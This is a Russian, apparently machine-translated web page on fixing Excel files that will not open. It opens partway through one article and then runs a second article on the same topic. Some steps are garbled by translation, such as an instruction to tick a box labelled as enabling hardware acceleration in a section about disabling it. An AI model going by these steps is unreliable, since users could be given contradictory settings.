Когда вы сталкиваетесь с такими проблемами, как не открывающийся файл или сбой приложения, стоит отключить функцию аппаратного ускорения вашего приложения, чтобы решить вашу проблему. Это гарантирует, что ваше приложение не перенесет свои задачи на аппаратные компоненты вашего ПК.

Вы можете снова включить эту функцию в любое время.

  • Запустите Excel и выберите «Параметры» слева.
  • Выберите «Дополнительно» на боковой панели слева.
  • Включите параметр «Отключить аппаратное ускорение графики» в разделе «Дисплей» справа.

  • Выберите ОК в нижней части окна.
  • Запустите файл с помощью Excel.

8. Восстановите установку Microsoft Office

Если ваш файл Excel по-прежнему не открывается, возможно, ваша установка Microsoft Office повреждена. Обычно это происходит, когда сторонняя программа, системная ошибка или вирус изменяют основные файлы приложения Office.

Вы можете исправить это, используя встроенный инструмент восстановления Office на вашем компьютере с Windows.

  • Откройте Панель управления на вашем ПК.
  • Выберите Удалить программу в открывшемся окне.
  • Выберите установку Microsoft Office в списке и нажмите «Изменить» вверху.

  • Выберите «Да» в окне контроля учетных записей пользователей.
  • Выберите «Быстрое восстановление» и выберите «Восстановить».

  • Если ваше приложение Excel по-прежнему неисправно, выберите параметр «Восстановление в Интернете» и выберите «Восстановить».

9. Откройте файл Excel в другом процессоре электронных таблиц.

Если ваш файл Excel не открывается независимо от того, что вы делаете, используйте другую программу для работы с электронными таблицами, чтобы просмотреть файл. Как для Windows, так и для Mac доступно несколько приложений, отличных от Office, которые позволяют просматривать и редактировать файлы Excel.

Вы можете использовать бесплатный офисный пакет, такой как Apache OpenOffice (Windows и Mac) или Apple Numbers (Mac), для редактирования электронных таблиц. Таким образом, вам не нужно ждать устранения проблемы, чтобы начать работу с вашими файлами.

Открывайте проблемные файлы Excel на своем компьютере

Существуют различные причины, по которым ваш файл Excel может не открываться на вашем компьютере. Однако, как только вы исправите эти проблемы с файлом, приложением и вашей системой, ваш файл запустится так, как должен, что позволит вам начать анализировать свои данные или выполнять другие задачи с электронными таблицами.


Содержание:

  1. Возможные причины, по которым Microsoft Excel не открывается
  2. Как исправить не открывающиеся файлы Excel
  3. Снимите флажок Игнорировать DDE.
  4. Отключить надстройки
  5. Восстановить Microsoft Office
  6. Сбросить ассоциации файлов Excel
  7. Отключить аппаратное ускорение графики
  8. Когда все терпит неудачу — обратитесь в службу поддержки Microsoft

При работе с электронными таблицами Excel у большинства людей либо мало времени, либо есть крайний срок, который нужно соблюсти.

И это может стать кошмаром, если в этот момент Microsoft Excel решит не открываться (ахххх!).

К сожалению, это неожиданное поведение довольно распространено, когда Excel отказывается открыть один из ваших важных файлов Excel или вообще не может открыть приложение Excel.

Итак, если вы страдаете синдромом «Microsoft-Excel-не открывается», эта статья как раз то, что вам нужно.

В этом руководстве я расскажу о причинах, по которым Excel отказывается открываться, и о возможных решениях, которые могут помочь вам в этой ситуации.

Итак, приступим!

Возможные причины, по которым Microsoft Excel не открывается

Поскольку Excel — это инструмент, который должен без проблем работать с другими приложениями и операционными системами, есть много вещей, которые могут пойти не так.

И, конечно же, всегда есть вероятность, что приложение Excel само по себе является проблемой.

Ниже приведены некоторые возможные причины, по которым Microsoft Excel не открывается в вашей системе:

  1. Существует проблемная надстройка это не позволяет вам открывать файлы Excel. В этом случае, скорее всего, вы сможете открыть приложения Excel, но не конкретный файл Excel (или новый файл Excel).
  2. Есть вероятность, что ваш Приложение Excel повреждено и требует ремонта, прежде чем вы сможете снова начать открывать файлы Excel.
  3. Ваш Приложение Excel не может взаимодействовать с другими приложениями и операционная система. Это простое исправление, в котором вы можете просто включить параметр, и ваши файлы снова начнут работать (рассматривается позже в этом руководстве).
  4. В файловая ассоциация нарушена Это означает, что когда вы пытаетесь открыть файл Excel, он не знает, какое программное обеспечение использовать для открытия файла. Здесь снова есть простое исправление, когда вы можете просто сбросить ассоциации файлов. Многие люди, обновившие свой Excel или операционную систему, часто сталкиваются с этой проблемой.
  5. В файл, который вы хотите открыть, поврежден. Это часто случается, когда кто-то делится файлом с вами, или когда вы копируете файл на сетевой или внешний диск и переносите его в свою систему. В этом случае вы мало что можете сделать, кроме как создать резервные копии своих файлов в будущем.

Как исправить не открывающиеся файлы Excel

Теперь давайте рассмотрим некоторые методы, которые можно использовать для решения проблемы, связанной с тем, что файлы Excel не открываются.

Я перечисляю эти исправления в том порядке, в котором они с наибольшей вероятностью сработают.

Снимите флажок Игнорировать DDE.

Наиболее распространенное и простое решение — убедиться, что для Динамический обмен данными (DDE).

DDE — это то, как Excel взаимодействует с другими приложениями.

По умолчанию параметр DDE отключен, но если он случайно будет включен, это может привести к тому, что ваши файлы Excel не будут открываться в вашей системе.

В этом случае вы сможете открыть приложение Excel из меню «Пуск», но не сможете открывать отдельные файлы Excel.

Ниже приведены шаги по устранению этой проблемы с DDE:

  1. Откройте файл Excel из меню Пуск.
  2. Перейдите на вкладку «Файл«.
  3. Нажмите на Параметры
  4. В открывшемся диалоговом окне «Параметры Excel» нажмите «Дополнительно» на левой панели.
  5. Прокрутите вниз до раздела Общие
  6. Убедитесь, что для параметра «Игнорировать другие приложения, использующие динамический обмен данными (DDE)» установлено значение отключен.
  7. Закройте диалоговое окно параметров Excel.

Если этот параметр был включен ранее, и вы отключили его, выполнив описанные выше действия, скорее всего, это была проблема, и теперь ее следует отсортировать.

Если этот метод не работает, продолжайте читать!

Отключить надстройки

Многие люди используют сторонние надстройки в Excel, которые позволяют им расширять функциональность и иметь возможность использовать многие функции, которых нет в Excel по умолчанию.

Одной из надстроек, которую я использовал в свои рабочие дни на полную ставку, была «ThinkCell», которая позволяла нам создавать красивые диаграммы, которые были невозможны в самом Excel.

И иногда эти надстройки становятся проблемой, когда вы не можете открыть файлы Excel.

Исправить легко — отключить надстройку.

Ниже приведены шаги, которые можно использовать для отключения надстройки в Excel:

  1. Откройте файл Excel из меню Пуск.
  2. Перейдите на вкладку «Файл«.
  3. Нажмите на Параметры
  4. В диалоговом окне «Параметры Excel» щелкните параметр «Надстройки» на левой панели.
  5. Внизу диалогового окна щелкните раскрывающийся список «Управление«.
  6. Нажмите на Надстройки COM.
  7. Нажмите на Go
  8. В открывшемся диалоговом окне надстройки COM отключите все надстройки.
  9. Нажмите ОК

Теперь попробуйте открыть файл Excel, который не открывался ранее. Если проблема заключалась в элементе, файл должен открыться сейчас.

Часто это разовая проблема, и надстройка будет работать безупречно, даже если вы включите ее сейчас. Если вы включаете надстройку и по-прежнему сталкиваетесь с той же проблемой, вы можете быть уверены, что надстройка повреждена, и мне нужно отключить ее навсегда.

Восстановить Microsoft Office

Другая возможная причина, по которой файлы Excel не открываются, может заключаться в том, что ваше приложение Microsoft Office повреждено и его необходимо отремонтировать или переустановить.

Но поскольку переустановка — это немного больше, давайте сначала попробуем вариант восстановления.

Выполните следующие действия, чтобы восстановить приложение Microsoft Office в вашей системе:

  1. Удерживая клавишу Windows, нажмите клавишу R. Откроется диалоговое окно «Выполнить».
  2. Введите следующий текст в поле «Выполнить» — ‘appwiz.cpl ’. Откроется диалоговое окно программ и функций.
  3. Найдите Microsoft Office в списке
  4. Щелкните правой кнопкой мыши параметр Microsoft Office и нажмите «Изменить» (если вы видите здесь вариант восстановления, щелкните его).
  5. В появившемся диалоговом окне нажмите на опцию Quick Repair.
  6. Нажмите кнопку «Восстановить«.

Следуйте инструкциям, которые появляются, и в течение нескольких минут оно восстановит ваше приложение Microsoft Office.

Если проблема была в поврежденном приложении Microsoft Office, ее следует исправить, выполнив описанные выше действия.

Но если вы по-прежнему не можете открывать файлы Excel, давайте попробуем исправить это.

Сбросить ассоциации файлов Excel

Ассоциация файлов — это то, что гарантирует, что когда вы открываете файл Excel, он использует приложение Excel для открытия этого файла.

А иногда эти ассоциации файлов идут не так, и когда вы щелкаете файл Excel, он не знает, что для его открытия необходимо использовать приложение Excel.

Исправление — сброс ассоциаций файлов

Ниже приведены инструкции, как это сделать:

  1. Откройте панель управления
  2. Нажмите «Программы«.
  3. Нажмите «Программы по умолчанию«.
  4. Нажмите «Установить программы по умолчанию«.
  5. В открывшихся окнах приложений по умолчанию прокрутите вниз до пункта «Восстановить рекомендуемые Microsoft значения по умолчанию» и нажмите кнопку «Сброс».

Если несовпадающая ассоциация файлов была проблемой, из-за которой ваши файлы Excel не открывались, это исправит ее.

Обратите внимание, что, поскольку мы сбросили значение по умолчанию для всех приложений в вашей системе, в случае, если вы вручную внесли какие-либо изменения и указали какое-либо конкретное расширение файла, которое будет открываться с помощью определенного приложения, оно также будет установлено по умолчанию.

Если вы не хотите сбрасывать значения по умолчанию для всех приложений и только для файлов Excel, нажмите на опцию «выбрать приложения по умолчанию по типу файла».

На появившемся экране найдите расширения файлов Excel (.xls, .xlsx, .xlsb, .csv и т. Д.) И установите для них приложение XLS по умолчанию.

Отключить аппаратное ускорение графики

Аппаратное ускорение графики помогает вашей системе работать лучше, особенно при использовании приложений Microsoft Office, таких как MS Excel или MS Word.

Но во многих случаях это также может приводить к тому, что ваши файлы Excel не открываются или ваша система или файлы ломаются.

Так что, если ничего не помогает, стоит попробовать этот метод.

Аппаратное ускорение графики включено по умолчанию, и его отключение может решить проблему.

Вот как это сделать:

  1. Откройте приложения Excel
  2. Перейдите на вкладку Файл.
  3. Нажмите на Параметры
  4. В открывшемся диалоговом окне «Параметры Excel» щелкните вкладку «Дополнительно» на левой панели.
  5. Прокрутите вниз до настроек «Дисплей».
  6. Установите флажок — «Отображать аппаратное ускорение графики».
  7. Нажмите ОК.

Если проблема заключалась в аппаратном ускорении графики, ваши файлы Excel должны начать открываться сейчас.

Когда все терпит неудачу — обратитесь в службу поддержки Microsoft

И, наконец, вы можете выполнить лишь определенное количество действий по устранению неполадок.

Если до сих пор у вас ничего не помогло, лучше всего обратиться в службу поддержки Microsoft и узнать, могут ли эти ребята вам помочь.

Часто эти проблемы также могут возникать из-за недавнего обновления, выпущенного Microsoft, которое могло непреднамеренно вызвать эту проблему.

Вы можете использовать ссылку ниже, чтобы связаться со службой поддержки Microsoft:

https://support.microsoft.com/contactus/

Еще вы можете попробовать разместить свой запрос на многих активных форумах Microsoft, и на помощь вам могут прийти замечательные люди из Интернета.

Я знаю, что это не идеальное решение, но оно может помочь вам получить отзывы и решения от экспертов, что полезно почти во всех случаях.

Итак, это методы, которые вы можете использовать для устранения неполадок, когда у вас Файлы Microsoft не открываются.

В большинстве случаев его следует отсортировать, изменив простые настройки, такие как отключение сторонних надстроек или сброс ассоциаций файлов, а в некоторых редких случаях, если вы не можете определить проблему, лучше всего обратиться в Microsoft. служба поддержки.

Надеюсь, вы нашли этот урок полезным.

Понравилась статья? Поделить с друзьями:
  • Как включить com надстройку в excel
  • Как включить activex excel
  • Как включаются макросы excel
  • Как включаются макрос в excel
  • Как вкладывать условия в excel